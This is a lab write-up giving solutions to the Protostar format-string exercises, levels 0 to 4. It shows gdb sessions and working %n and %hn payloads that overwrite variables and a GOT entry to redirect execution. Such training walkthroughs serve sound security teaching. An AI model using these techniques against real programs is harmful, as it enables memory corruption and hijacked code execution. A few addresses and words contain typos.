Protostar Format String Exploits (Solutions 0-4)

Format string exploit exercises.

Published on 29 August 2012

Overview

Protostar is a series of exercises from Exploit Exercises. In addition to three final levels, it has four basic sections: network programming, format strings, heap overflows, and stack overflows.

This post contains solutions and walkthroughs for the four format string levels (“Format”).

Solutions

Format: Level 0

Description (full): Change the value of a stack variable to 0xdeadbeef using less than 10 bytes of input.

This exploit shows similarities (sometimes) between format string exploits and buffer overflows.

$ ./format0 %64s$(perl -e 'print "\xef\xbe\xad\xde"')

you have hit the target correctly :)

Format: Level 1

Description (full): Change the value of a global variable, target, to any nonzero value.

target is a global variable. To overwrite it, we first find its address using obdjump -t (we could also use nm to save some keystrokes).

$ objdump -t format1 | grep target
08049638 g       0 .bss    00000004            target

Next, we need to find where the format function expects the first (missing) argument to the format string.

Starting program: /opt/protostar/bin/format1 AAAA%08x

Breakpoint 1, __printf (format=0xbffff98f "AAAA%08x") at printf.c:29
29      printf.c: No such file or directory.
in printf.c
(gdb) x/10xw $esp
0xbffff768:     0x00000002      0xb7edcf90      0xb7edcf99      0xb7fd6ff4
0xbffff778:     0xbffff798      0x08048405      0xbffff98f      0x0804960c
0xbffff788:     0xbffff7b8      0x08048469
(gdb) x/xw 0xbffff784
0xbffff784:     0x0804960c
(gdb) p 0xbffff98f - 0x0bffff784
$1 = 523

An important detail: adding n characters will actually decrease the starting address of the string’s characters by n bytes. Adding one more character decrements the address from 0xbffff98f to 0xbffff98e. This leaves the location of the first parameter unchanged.

Remember that the offset is calculated relative to the format function (i.e. printf) rather than vuln().

(gdb) run AAAAA%08x
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/format1 AAAAA%08x

Breakpoint 1, __printf (format=0xbffff98e "AAAAA%08x") at printf.c:29
29      printf.c: No such file or directory.
in printf.c
(gdb) x/xw 0xbffff784
0xbffff784:     0x0804960c
  • 0xbffff784: The first argument to the format string.
  • 0xbffff997 - n: The first character of the format string, where n is the total number of characters in the string. The odd alignment is caused by the null byte.

As seen earlier, the distance between the beginning of the format string (the address of target) and the first argument to the format string (a starting address for “stack popping” additional arguments) is about 500 bytes.

With a few calculations, we can find the correct offset.

$ ./format1 $(perl -e 'print "\x38\x96\x04\x08"')'..%128$n'
8..you have modified the target :)

Format: Level 2

Description (full): Change the value of a global variable, target, to 0x40.

$ objdump -t format2 | grep target
080496e4 g     O .bss   00000004              target

Using the same techniques as before, we find the beginning of the format string in memory. The fourth expected format string argument coincides with the beginning of the format string in memory. We store our target address at the beginning of the format string in order to write to it.

$ echo -ne $(perl -e 'print "\xe4\x96\x04\x08"')%4\$08x | ./format2
080496e4target is 0 :(

Finally, we calculate the number of bytes needed to write 64 (0x40). The address of target occupies four bytes first, and we need another 60 bytes.

$ echo -ne $(perl -e 'print "\xe4\x96\x04\x08"')%60u%4\$n | ./format2
                                                         512you have modified the target :)

Format: Level 3

Description (full): Change the value of a global variable, target, to 0x01025544.

$ objdump -t format3 | grep target
080496f4 g     O .bss   00000004              target

We calculate the offset between the format function parameters and the characters of the string in the same way as the previous exercises.

(gdb) break printf
Breakpoint 1 at 0x804837c
(gdb) run
Starting program: /opt/protostar/bin/format3
AAAA
Breakpoint 1, __printf (format=0xbffff5a0 "AAAA\n") at printf.c:29
29      printf.c: No such file or directory.
in printf.c
(gdb) info frame
Stack level 0, frame at 0xbffff570:
eip = 0xb7edcfa2 in __printf (printf.c:29); saved eip 0x8048465
called by frame at 0xbffff590
source language c.
Arglist at 0xbffff568, args: format=0xbffff5a0 "AAAA\n"
Locals at 0xbffff568, Previous frame's sp is 0xbffff570
Saved registers:
ebx at 0xbffff564, ebp at 0xbffff568, eip at 0xbffff56c
(gdb) x/3xw 0xbffff568
0xbffff568:     0xbffff588      0x08048465      0xbffff5a0
(gdb) x/w 0xbffff570
0xbffff570:     0xbffff5a0
(gdb) p 0xbffff5a0 - 0xbffff570
= 48

We can confirm that our offset of 48 (12 * 4 bytes) is correct.

$ echo AAAA%12\$x | ./format3
AAAA41414141
target is 00000000 :(

Next, we need to change the value of target to 0x01025544. Below is each byte in decimal:

$ echo "ibase=16; 44" | bc
68
$ echo "ibase=16; 55" | bc
85
$ echo "ibase=16; 02" | bc
2
$ echo "ibase=16; 01" | bc
1

Finally, we write values to each of the four bytes of target:

$ echo $(perl -e 'print "\xf4\x96\x04\x08"')$(perl -e 'print "\xf5\x96\x04\x08"')$(perl -e 'print "\xf6\x96\x04\x08"')$(perl -e 'print "\xf7\x96\x04\x08"')'%52u%12$n%''17u%13$n''%173u%14$n' | ./format3
���                                                   0       3221222848                                                                                                                                                                   3086839796
you have modified the target :))

Note that it wasn’t necessary to include the last address, 0x080496f7, since the most significant byte (0x01) is written as a consequence of the overflow.

Format: Level 4

Description (full): Redirect execution flow to hello() by using a format string exploit.

In this exercise, the offset is only 16 bytes (four parameter arguments). The calculation is omitted as the two previous exercises illustrate the process.

$ echo 'AAAA%4$x' | ./format4
AAAA41414141

In order to perform this exploit, we’ll overwrite an entry in global offset table. Specifically, we’ll overwrite the entry of the exit() function (0x08049724) with the address of the hello() function (0x08048b4).

$ objdump -TR format4 | grep exit
00000000      DF *UND* 00000000  GLIBC_2.0   _exit
00000000      DF *UND*  00000000  GLIBC_2.0   exit
08049718 R_386_JUMP_SLOT   _exit
08049724 R_386_JUMP_SLOT   exit
$ objdump -t format4 | grep hello
080484b4 g     F .text  0000001e              hello

To confirm that our overwrite works correctly, we run a quick test:

$ echo $(perl -e 'print "\x24\x97\x04\x08"')'%4$n' > /tmp/format4
$ gdb -q format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) run < /tmp/format4
Starting program: /opt/protostar/bin/format4 < /tmp/format4
$Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()

Execution jumped to the address 0x00000004, meaning that we’re on the right track. Finally, we use a short write (%hn, allowing us to write to two bytes) to overwrite the last two bytes of the GOT entry. This works because both addresses start with 0x0804 – only the last two bytes need to be changed.

$ echo $(perl -e 'print "\x24\x97\x04\x08"')'%33968u%4$hn' | ./format4
$
<lots of whitespace>
512
                                                                                                                                                                              code execution redirected! you win

Comments